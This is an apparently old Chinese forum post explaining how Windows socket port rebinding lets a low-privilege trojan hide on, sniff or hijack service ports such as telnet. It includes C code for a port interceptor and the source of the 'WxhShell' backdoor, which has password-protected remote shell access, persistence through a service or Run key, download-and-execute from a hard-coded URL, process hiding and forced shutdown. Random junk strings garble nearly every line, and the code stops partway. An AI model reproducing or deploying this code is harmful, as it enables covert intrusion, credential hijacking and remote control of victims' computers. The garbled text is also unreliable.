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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +p^u^a  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l%ZhA=TKQ  
tkhCw/  
  saddr.sin_family = AF_INET; YqG7h,F  
]4{H+rw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  -M2yw  
BVm0{*-[|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y7nvHU|+o  
_wcNgFx  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 BY*Q_Et  
E4!Fupkpf  
  这意味着什么?意味着可以进行如下的攻击: \ jA~9  
.543N<w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 pp2~Meg  
/(T?j!nPE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) M;NX:mX9  
_6Ha  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f5k6`7Vj]  
=EIkD9u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $N\Ja*g  
mTh]PPo   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zJXplvaL;  
z=FZiH  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .-=vx r  
uMv1O{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *kVV+H<X|b  
b\ PgVBf9  
  #include +3`alHUK  
  #include [V!tVDs&'o  
  #include dd["dBIZ '  
  #include    2Hdu:"j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]d`VT)~vje  
  int main() *dF>_F  
  { DJ%PWlK5  
  WORD wVersionRequested; |'.  
  DWORD ret; uocGbi:V';  
  WSADATA wsaData; kl,3IKHa  
  BOOL val; s7EinI{^  
  SOCKADDR_IN saddr; L(o15  
  SOCKADDR_IN scaddr; e*!kZAf  
  int err; V,9cl,z+  
  SOCKET s; 3[&Cg  
  SOCKET sc; 4sM.C9W  
  int caddsize; h1{3njdr  
  HANDLE mt; ~v83pu1!2s  
  DWORD tid;   ]HdCt3X  
  wVersionRequested = MAKEWORD( 2, 2 ); qa6,z.mQ  
  err = WSAStartup( wVersionRequested, &wsaData ); Jl<2>@  
  if ( err != 0 ) { lLD12d  
  printf("error!WSAStartup failed!\n"); rH>)oThA#  
  return -1; 875od  
  } V$~9]*Wn  
  saddr.sin_family = AF_INET; smLQS+UE  
   *j-aXN/$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &0f,~ /%Z  
`-&K~^-cH  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Df#l8YK#  
  saddr.sin_port = htons(23); I0a<%;JJW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &OBkevg  
  { Jo}eeJ;k  
  printf("error!socket failed!\n"); vFsLY  
  return -1; o14cwb  
  } 4OX^(  
  val = TRUE; o Rzi>rr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c|1&lYal;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ev P{p  
  { i?~3*#IpD  
  printf("error!setsockopt failed!\n"); !Uc T RI  
  return -1; y?:.;%!E  
  } JLi|Td "1%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :ivf/x n  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qw8Rlws%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g*"P:n71  
M[uA@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6&-(&( _  
  { HmwT~  
  ret=GetLastError(); m6djeOl  
  printf("error!bind failed!\n"); Wm3X[?V  
  return -1; 7)k\{&+P  
  } km40qO@3  
  listen(s,2); XrPfotj1  
  while(1) }{"fJ3] c^  
  { 4e1Y/ Xq`  
  caddsize = sizeof(scaddr); ]fD} ^s3G  
  //接受连接请求 '7@R7w!E4H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :eg4z )  
  if(sc!=INVALID_SOCKET) Lk$B{2^n  
  { Z<4AL\l 98  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^I)N. 5  
  if(mt==NULL) e$pV%5=  
  { <9%R\_@$H  
  printf("Thread Creat Failed!\n"); g[t [/TV   
  break; BSMwdr  
  } V_:&S2j  
  } :hV7> rr  
  CloseHandle(mt); )0R'(#  
  } )Beiu*  
  closesocket(s); X|8c>_}  
  WSACleanup(); m9A!D  
  return 0; Bw{I;rW{2  
  }   ukY"+&  
  DWORD WINAPI ClientThread(LPVOID lpParam) S+2(f> Z  
  { Bnd [X  
  SOCKET ss = (SOCKET)lpParam; f`/x"@~H5  
  SOCKET sc; ,iq4Iw  
  unsigned char buf[4096]; t_suF$  
  SOCKADDR_IN saddr; Ki~1qu:  
  long num; j w9b )  
  DWORD val; \j)E 5b+  
  DWORD ret; 6x|jPb  
  //如果是隐藏端口应用的话,可以在此处加一些判断 $j?1g#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~!3r&(  
  saddr.sin_family = AF_INET; PzR[KUK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PY0j 9$i?  
  saddr.sin_port = htons(23); o+9j?|M  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xRsWI!d+|  
  { Jq^T1_iqn  
  printf("error!socket failed!\n"); r)6M!_]AW  
  return -1; Z`BK/:vo3H  
  } - CWywuD  
  val = 100; Ib0ZjX6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nJLFfXWx  
  { KK%M~Y+tU'  
  ret = GetLastError(); TBrPf-Xr  
  return -1; +t:0SRSt  
  } (@}!0[[^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [66! bM&  
  { uXq. ]ub  
  ret = GetLastError(); gl_^V&c  
  return -1; 4 N7^?  
  } c7E11 \%&Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &(mR> mT  
  { A_#DJJMm  
  printf("error!socket connect failed!\n"); !&Pui{F  
  closesocket(sc); ;xs"j-r/  
  closesocket(ss); *r% c  
  return -1; 6B ?twh)  
  } 0,8okA H  
  while(1) vFK<J Sk!  
  { j9OG\m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  bnLPlf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7( 2{'r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mo#04;VF  
  num = recv(ss,buf,4096,0); bD8Gwi=iiu  
  if(num>0) Vl!6W@g  
  send(sc,buf,num,0); .@Dxp]/B}  
  else if(num==0) 0k(a VkZ I  
  break; {& T_sw@[  
  num = recv(sc,buf,4096,0); ;{o|9x|  
  if(num>0) lo!+f"7ym\  
  send(ss,buf,num,0); dmN&+t  
  else if(num==0) g2/8~cn8z  
  break; [=^3n#WW  
  } R+,u^;\  
  closesocket(ss); mju>>\9  
  closesocket(sc); LRMx<X8  
  return 0 ; 78H'ax9m  
  } 1|6%evPu(  
nL.<[]r  
az|N-?u  
========================================================== =6|&Jt  
g^ i&gNDx  
下边附上一个代码,,WXhSHELL g!z&~Z:  
^B 2 -)  
========================================================== M_w<m  
`P;s 8~  
#include "stdafx.h" (41|'eB\\  
^Uh BH@ti  
#include <stdio.h> 9Ly]DZ;L  
#include <string.h> f &wb  
#include <windows.h> {LQ#y/H?  
#include <winsock2.h> y[_Q-   
#include <winsvc.h> usL* x9i  
#include <urlmon.h> f[^Aw(o  
'D"C4;X  
#pragma comment (lib, "Ws2_32.lib") 2Jmz(cH%  
#pragma comment (lib, "urlmon.lib") 1&(V   
,V:SN~P66+  
#define MAX_USER   100 // 最大客户端连接数 ^J8lBLqe  
#define BUF_SOCK   200 // sock buffer %zw1}|s#z  
#define KEY_BUFF   255 // 输入 buffer >q1L2',pK  
ZH)="qx [  
#define REBOOT     0   // 重启 &&RimoIeo  
#define SHUTDOWN   1   // 关机 zeC RK+-  
u4%Pca9(=  
#define DEF_PORT   5000 // 监听端口 Y6L ~K?  
M$8^91%4B  
#define REG_LEN     16   // 注册表键长度 oW Nh@C  
#define SVC_LEN     80   // NT服务名长度 tWa) _y  
8rS:5:Hi  
// 从dll定义API X~,aNRy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); } c }_<#I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w+E,INd i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =j*$ |X3W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Eq\M;aDq  
QM#4uI55B  
// wxhshell配置信息 c[1oww  
struct WSCFG { V0XvJ  
  int ws_port;         // 监听端口 6}Y#=}  
  char ws_passstr[REG_LEN]; // 口令 6Yxh9*N~]  
  int ws_autoins;       // 安装标记, 1=yes 0=no YLE!m?  
  char ws_regname[REG_LEN]; // 注册表键名 qF-@V25P  
  char ws_svcname[REG_LEN]; // 服务名 W= qVc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^ tg<K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '>ssqBnI  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 25[I=ZdS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hL;(C) (  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Nyj( 0W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &_|#.  
iBgx  
}; > eIP.,9  
zSja/yq  
// default Wxhshell configuration #c?j\Y9nz  
struct WSCFG wscfg={DEF_PORT, +sUFv)!4  
    "xuhuanlingzhe", #"\gLr_:m  
    1, bNNr]h8y-  
    "Wxhshell", fs%.}^kn  
    "Wxhshell", doy`C)xI  
            "WxhShell Service", g($DdKc|g  
    "Wrsky Windows CmdShell Service", }$Tl ?BRpU  
    "Please Input Your Password: ", W_8wed:b  
  1, \EtQ5T*u  
  "http://www.wrsky.com/wxhshell.exe", D(RTVef  
  "Wxhshell.exe" c%G{#}^2  
    }; /M4{Wc  
c>Xs&_  
// 消息定义模块 QY?~ZwYB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j; y#[|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !F1N~6f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UsQ+`\|  
char *msg_ws_ext="\n\rExit."; ;J2zp*|  
char *msg_ws_end="\n\rQuit."; 5}]"OXQ  
char *msg_ws_boot="\n\rReboot..."; '*w00  
char *msg_ws_poff="\n\rShutdown..."; CtAwBQO  
char *msg_ws_down="\n\rSave to "; [knN:{ l  
r^paD2&}  
char *msg_ws_err="\n\rErr!"; /%TI??PGu  
char *msg_ws_ok="\n\rOK!"; JYd 'Jp8bP  
6ne7]R Y  
char ExeFile[MAX_PATH]; 78# v  
int nUser = 0; R$TB1w9]  
HANDLE handles[MAX_USER]; QpA/SmJ  
int OsIsNt; k!HK 97qA  
)ZqTwEr@[  
SERVICE_STATUS       serviceStatus; lXiKY@R#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ime\f*Fg  
ua]o6GlO  
// 函数声明 4^~(Mh-Mw  
int Install(void); OFv%B/O  
int Uninstall(void); D\s WZ  
int DownloadFile(char *sURL, SOCKET wsh); V(6Z3g  
int Boot(int flag); /1Q(b  
void HideProc(void); Yc `)R  
int GetOsVer(void); jWl)cC  
int Wxhshell(SOCKET wsl); lWc:$qnR-K  
void TalkWithClient(void *cs); )V6Hl@v  
int CmdShell(SOCKET sock); Id|L`  w  
int StartFromService(void); Hx*;jpy(2  
int StartWxhshell(LPSTR lpCmdLine); tEKmy7'#  
G) 7;;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S.m{eur!,E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,J>5:ht(6  
WDPb!-VT  
// 数据结构和表定义 3#&7-o  
SERVICE_TABLE_ENTRY DispatchTable[] = `-l6S  
{ x+x40!+\  
{wscfg.ws_svcname, NTServiceMain}, HO%wHiv1X  
{NULL, NULL} ie\"$i.98H  
}; PCM-i{6/  
*ikc]wQr$  
// 自我安装 -~ Mb  
int Install(void) 5Z\#0":e  
{ 80/F7q'tn  
  char svExeFile[MAX_PATH]; .#Z%1U%P.  
  HKEY key; #9xd[A : N  
  strcpy(svExeFile,ExeFile); Rh{zH~oZ  
7-T{a<g  
// 如果是win9x系统,修改注册表设为自启动 A1#%`^W9  
if(!OsIsNt) { sq[iY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x`mN U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {{MRELipW  
  RegCloseKey(key); DRgTe&+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dhr3,&+T2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CS-uNG6  
  RegCloseKey(key); ayD}r#7  
  return 0; pxf$ 1  
    } k |%B?\m  
  } }J1tdko#  
} .CU5}Tv-  
else { hn=[1<#^(  
5v}8org  
// 如果是NT以上系统,安装为系统服务 Vq;A>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?yR&/a  
if (schSCManager!=0) ,7NZu0  
{ .0rh y2  
  SC_HANDLE schService = CreateService "zFNg';  
  ( $UCAhG$  
  schSCManager, \lC   
  wscfg.ws_svcname, d'$T4yA  
  wscfg.ws_svcdisp, JJ'.((  
  SERVICE_ALL_ACCESS, *B{j.{ p(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @reeO=  
  SERVICE_AUTO_START, C@W"yYt  
  SERVICE_ERROR_NORMAL, ,o,I5>`  
  svExeFile, h{p=WWK  
  NULL, >ByXB!Wi+  
  NULL, aZ'Lx:)R  
  NULL, *nsAgGKKM^  
  NULL, oDYRQozo>  
  NULL GBFtr   
  ); [7S} g  
  if (schService!=0) dW~*e2nq  
  { j;3[KLmuK%  
  CloseServiceHandle(schService); o1Q7Th  
  CloseServiceHandle(schSCManager); #x3ujJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FE! lok  
  strcat(svExeFile,wscfg.ws_svcname); sHl>$Qevz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `zXO_@C  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #ap9Yoyk\  
  RegCloseKey(key); WT`4s  
  return 0; D{4YxR PX  
    } [$"n^5_~  
  } pV,P|>YTf  
  CloseServiceHandle(schSCManager); q^L<X)  
} (tGY%oT"  
} P(73!DT+  
J8)#PY[i4  
return 1; P7MeX(Tay  
} z0*_^MH  
}HYjA4o\A  
// 自我卸载 jR#~I@q^  
int Uninstall(void) eT8}  
{ =xJKIu  
  HKEY key; G 0;XaL:  
^:* 1d \  
if(!OsIsNt) { i'wAE:Xe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9*=W-v  
  RegDeleteValue(key,wscfg.ws_regname); -!L"')  
  RegCloseKey(key); &F5@6nJ`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bk\Gj`"7  
  RegDeleteValue(key,wscfg.ws_regname); z,:a8LB#[  
  RegCloseKey(key); ADk8{L{UU  
  return 0; H0R&2#YD  
  } aKJQm '9Ks  
} D HT&,=  
} TdGnf   
else { @b~fIW_3>  
9Q-*@6G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (N=5 .7"T  
if (schSCManager!=0) ?zJOh^  
{ B8%{}[q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AT)a :i  
  if (schService!=0) {$^DMANDx  
  { gzD@cx?V  
  if(DeleteService(schService)!=0) { 0 Ir<y  
  CloseServiceHandle(schService); CZt \JW+"  
  CloseServiceHandle(schSCManager); 2'<[7!  
  return 0; dVo.Czyd  
  } [ $T(WGF  
  CloseServiceHandle(schService); 4T<Lgb  
  } ]a3iEA2 (  
  CloseServiceHandle(schSCManager); 3y~r72J  
} t 6^l`6:p  
} [j:[  
F0UVo  
return 1; 13&0rLS  
} .eO?Z^  
h"[+)q%L  
// 从指定url下载文件 la?Wnw  
int DownloadFile(char *sURL, SOCKET wsh) t/PlcV_M"  
{ $4T2z-  
  HRESULT hr; p/ >`[I  
char seps[]= "/"; $<|l E/_]  
char *token; ?cEskafb>  
char *file; 3#45m+D  
char myURL[MAX_PATH]; e=QK}gzX  
char myFILE[MAX_PATH]; %9#gB  
:BGA.  
strcpy(myURL,sURL); D\YE^8/  
  token=strtok(myURL,seps); !GQ\"Ufs>  
  while(token!=NULL) vuFBET,  
  { |s)?cpb  
    file=token; 2',w[I  
  token=strtok(NULL,seps); BiZ=${y  
  } z|(+|pV(  
ii0Ce}8d~  
GetCurrentDirectory(MAX_PATH,myFILE); wB{;bB{  
strcat(myFILE, "\\"); /Y2/!mU</  
strcat(myFILE, file); F[!ckes<bB  
  send(wsh,myFILE,strlen(myFILE),0); 3u\;j; Td!  
send(wsh,"...",3,0); iIGbHn,/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d@3}U6,  
  if(hr==S_OK) ]}6w#)]"  
return 0; 08m;{+|vY  
else C}*cx$.  
return 1; ^Mk%z9 ?  
%D`,k*X  
} \rV B5|D?  
D*Q.G8(  
// 系统电源模块 5I@w~z  
int Boot(int flag) 6k/U3&R  
{ U70]!EaT  
  HANDLE hToken; PSmfiaThwo  
  TOKEN_PRIVILEGES tkp; 0G2g4DSKD  
Zf>^4_x3P  
  if(OsIsNt) { (?b@b[D~4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); A;u"<KG?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5]1h8PW!Y  
    tkp.PrivilegeCount = 1; pBC<u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {A o,t+j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9lo [&^<  
if(flag==REBOOT) { 'snYu!`z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iY bX  
  return 0; cubk]~VD  
} HOp-P8z  
else { *X38{r j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2spg?]  
  return 0; =4 X]gW  
} Ij'NC C  
  } 47T}0q,  
  else { ^-M^gYBR  
if(flag==REBOOT) { ._96*r=o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a/uo}[Y  
  return 0; ag4`n:1  
} "XLe3n  
else { 7a$ G@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;bX4(CMe &  
  return 0; 9(!]NNf!  
} cDXsi#Raj  
} O8N[Jl  
ehAu^^Q>  
return 1; HZ*0QgW\(5  
} vG2b:[W  
<39!G7ny  
// win9x进程隐藏模块 lKEa)KF[  
void HideProc(void) Y#01o&f0n  
{ k,Zm GllQ]  
bO/*2oau  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,goBq3[%?  
  if ( hKernel != NULL ) &(xUhX T  
  { r++i=SQax  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :<~7y.*O{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~mN% (w!^  
    FreeLibrary(hKernel); )J3kxmlzQ  
  } ".~{:=  
qsg>5E  
return; !)Rr] ~  
} [Id}4[={e  
IGAzE(  
// 获取操作系统版本 4o9$bv  
int GetOsVer(void) I 2HT2c$  
{ T_OF7?  
  OSVERSIONINFO winfo; ,c)g,J9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UlQQP^Na  
  GetVersionEx(&winfo); .%0ne:5  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z]:BYX'  
  return 1; (5uJZ!m  
  else ;' e@t8i6  
  return 0; } IlP:  
} ]5v:5:H  
#cwCocw  
// 客户端句柄模块 Nl8 gK{  
int Wxhshell(SOCKET wsl) q?~Rnv  
{ ZcryAm:I  
  SOCKET wsh; $~'Tf>e  
  struct sockaddr_in client; ?Cci:Lin  
  DWORD myID; O(OmGu4%  
n!N\zx8  
  while(nUser<MAX_USER) LN!W(n(  
{ /b.oEGqZX  
  int nSize=sizeof(client); Y&'8VdW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8 HoP( +?  
  if(wsh==INVALID_SOCKET) return 1; qvLDfN  
C 7n Kk/r  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !g 0cC.'  
if(handles[nUser]==0) XSB8z   
  closesocket(wsh); GF--riyfB  
else iY.eJlfH  
  nUser++; KC&`x |  
  } <Ns &b.\h6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >v0:qN7|  
{&nV4c$v  
  return 0; \/Ij7nD`l%  
} ZxS&4>.  
3DoRE2}  
// 关闭 socket ~/`X*n&  
void CloseIt(SOCKET wsh)  ?B4#f!X  
{ (Imp $  
closesocket(wsh); IG / $!* E  
nUser--; M<qudi  
ExitThread(0); FpkXOj?*  
} U7%28#@  
4=p@2g2"H  
// 客户端请求句柄 }#b %"I0  
void TalkWithClient(void *cs) Y5jYmP<  
{ If}lJ6jZ  
;1LG&h,K  
  SOCKET wsh=(SOCKET)cs; U4wpjHg  
  char pwd[SVC_LEN]; i;lE5  
  char cmd[KEY_BUFF]; &jJckT  
char chr[1]; [b5(XIGUN}  
int i,j; t]TyXAr~  
)DZTB  
  while (nUser < MAX_USER) { pVOI5>f\  
?*K<*wBw#  
if(wscfg.ws_passstr) { ,ZK]i CGk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b]`^KTYK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jqg3.2q  
  //ZeroMemory(pwd,KEY_BUFF); aW@oE ~`  
      i=0; z`'P>.x   
  while(i<SVC_LEN) { A ^B@VuK  
s-Y+x  
  // 设置超时 A! ;meVUs  
  fd_set FdRead; {Nq?#%vdT  
  struct timeval TimeOut; Jf+7"![|  
  FD_ZERO(&FdRead); uJPH~mdW   
  FD_SET(wsh,&FdRead); b|E/LKa  
  TimeOut.tv_sec=8; uiK:*[  
  TimeOut.tv_usec=0; !Y%D 9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >0T3'/k<H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #^\}xn" [  
$j !8?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h[l{ 5Z*  
  pwd=chr[0]; U,3d) ]Zy&  
  if(chr[0]==0xd || chr[0]==0xa) { .S|-4}G(6  
  pwd=0; 3LrsWAz'  
  break; j_pw^I$C  
  } &HxT41pku  
  i++; R`C.ha  
    } ^I./L)0= }  
X RRJ)}P  
  // 如果是非法用户,关闭 socket >q&L/N5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fd"WlBYy0  
} f%1wMOzx  
$SF3odpt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Th+|*=Il  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HWR& C  
k6g|7^es2  
while(1) { 4(iS-8{J  
7z>+w  
  ZeroMemory(cmd,KEY_BUFF); 2B'^`>+8S  
*dVD  
      // 自动支持客户端 telnet标准   F`D 9Zfd  
  j=0; Nz @8  
  while(j<KEY_BUFF) { !pS~'E&q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sWW\bK0B4  
  cmd[j]=chr[0]; y7; 5xF?q  
  if(chr[0]==0xa || chr[0]==0xd) { Heohe|an  
  cmd[j]=0; t;XS;b %  
  break; g)N54WV  
  } (lb`#TTGx  
  j++; &U0WkW   
    }  /Ef4EX0  
|QqWVelc  
  // 下载文件 q @*UUj@   
  if(strstr(cmd,"http://")) { eHROBxH&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); < [ w++F~  
  if(DownloadFile(cmd,wsh)) K*[0dza$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9T]va]w?#  
  else C[W5d~@;E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ >(zunL  
  } FP@ A;/c  
  else { UR\ZN@O  
Wb'*lT0=  
    switch(cmd[0]) { 1YFAr}M  
  x/[8Wi,yB  
  // 帮助 K5+!(5V~  
  case '?': { %)dI2 J^Xf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (mY(\mu}  
    break; -|$*l Q  
  } e Ri!\Fx  
  // 安装 _jk|}IB;X  
  case 'i': { 3v G  
    if(Install()) o[2Y;kP3*P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1y(iE C  
    else ] :GfOgo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {!g?d<*  
    break; `-5cQ2>"  
    } s/\XH&KR3V  
  // 卸载 ~"RQ!&U  
  case 'r': { R$ v i!0  
    if(Uninstall()) _=)!xnYf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,FT&|3o  
    else O<Jwaap  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v7g [Lk  
    break; h FDze  
    } dkf}),Z F  
  // 显示 wxhshell 所在路径 *;Ak5.du  
  case 'p': { }1@n(#|c  
    char svExeFile[MAX_PATH]; [6tR&D #K  
    strcpy(svExeFile,"\n\r"); G@;Nz i89  
      strcat(svExeFile,ExeFile); ^]KIgGv\  
        send(wsh,svExeFile,strlen(svExeFile),0); V_{vZ/0e  
    break; 0U9+  
    } s%FP6u7[i  
  // 重启 E]1\iV  
  case 'b': { 57'q;I  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :Q8g?TZ  
    if(Boot(REBOOT)) Ml8E50t>;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y}Ck zD  
    else { i:\bqK  
    closesocket(wsh); {kT#o3,>w6  
    ExitThread(0); pFS F[9?e>  
    } >_n:_  
    break; 'o7R/`4KR  
    } `9]P/J^  
  // 关机 1g+LF[*-~  
  case 'd': { (tgEa{rPAP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WvIK=fdZ$  
    if(Boot(SHUTDOWN)) x0y% \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cvn-*Sj  
